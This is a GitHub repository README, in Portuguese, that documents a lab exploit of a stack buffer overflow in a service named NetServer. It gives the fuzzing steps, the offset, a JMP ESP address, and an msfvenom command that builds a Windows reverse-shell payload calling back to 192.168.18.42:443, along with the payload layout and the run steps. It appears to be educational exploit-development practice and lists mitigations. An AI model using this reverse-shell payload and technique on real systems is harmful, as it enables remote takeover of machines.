Skip to content

JordanCyber3/NetServer-RCE-Exploit

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

3 Commits
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

NetServer RCE Exploit (Buffer Overflow)

Overview

Este projeto demonstra a exploração de uma vulnerabilidade de Stack-based Buffer Overflow no serviço NetServer, resultando em execução remota de código (RCE).

O exploit sobrescreve o registrador EIP e redireciona o fluxo de execução para um shellcode controlado pelo atacante.


🛠️ Lab Setup

Para reproduzir este exploit, utilize o ambiente controlado abaixo:

1. Ambiente Virtual

2. Binários Vulneráveis

  • Localizados na pasta /binaries
  • Arquivo: binaries.7z
  • Senha: hunter1

Instruções: Extraia netserver.exe e netserver.dll para o Desktop do Windows 10. Ambos devem estar na mesma pasta.


📌 Descrição

Este repositório contém a exploração completa de uma vulnerabilidade de Buffer Overflow em pilha, incluindo todas as etapas do processo:

  • Identificação da falha
  • Controle de EIP
  • Identificação de Bad Characters
  • Construção do payload
  • Execução de shell reversa

🔍 Exploitation Process

1. Fuzzing Inicial

O primeiro passo foi testar os limites do comando SEND através de fuzzing com buffers incrementais até causar crash no serviço.

Crash Crash2


2. Offset Calculation (Pattern)

O offset foi identificado utilizando padrões únicos:

/usr/bin/msf-pattern_create -l 2200

Exemplo do padrão utilizado:

Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3...

Após o crash, o valor do EIP foi analisado utilizando:

/usr/bin/msf-pattern_offset -l 2200 -q <EIP_VALUE>
  • Resultado: 2007 bytes

3. Controle do Fluxo de Execução (EIP)

Para redirecionar a execução, foi utilizado o endereço:

  • EIP: 0x625012A0
  • Módulo: netserver.dll
  • Instrução: JMP ESP
  • Opcode: FFE4

O endereço foi identificado utilizando mona.py e validado com msf-nasm_shell, garantindo que corresponde ao opcode correto da instrução.

Mona EIP NASM


4. Identificação de Bad Characters

Durante a análise de memória, foi identificado que o seguinte caractere corrompe o payload:

  • Bad Char: \x00

Shellcode gerado com msfvenom evitando caracteres inválidos:

msfvenom -p windows/shell_reverse_tcp lhost=192.168.18.42 lport=443 exitfunc=thread -b "\x00" -f c

5. NOP Sled e Estrutura do Payload

Estrutura final do payload:

"A" * 2007 + EIP + "\x90" * 32 + shellcode

Foi utilizado um NOP Sled (0x90) para aumentar a confiabilidade da execução.

NOP


6. Remote Code Execution (RCE)

Execução final do exploit resultando em uma reverse shell funcional, garantindo controle total sobre o sistema alvo.

Shell


🧪 Tools Used

  • Immunity Debugger
  • mona.py
  • msfvenom
  • msf-pattern_create / msf-pattern_offset
  • msf-nasm_shell

💻 Execução

# Clone o repositório
git clone https://github.com/JordanCyber3/NetServer-RCE-Exploit.git

# Acesse a pasta
cd NetServer-RCE-Exploit

# Execute o exploit
python3 scripts/exploit.py

🔐 Mitigações

Este exploit funciona devido à ausência de proteções modernas no módulo utilizado.

Mitigações que impediriam essa exploração:

  • ASLR (Address Space Layout Randomization)
  • DEP (Data Execution Prevention)
  • SafeSEH

⚠️ Disclaimer

Este projeto foi desenvolvido exclusivamente para fins educacionais e pesquisa em segurança da informação.

O uso destas técnicas sem autorização prévia é ilegal.

About

PoC de Buffer Overflow (Stack-based) no serviço NetServer.exe, cobrindo desde o controle do EIP até a execução remota de código (RCE) via reverse shell.

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

 
 
 

Languages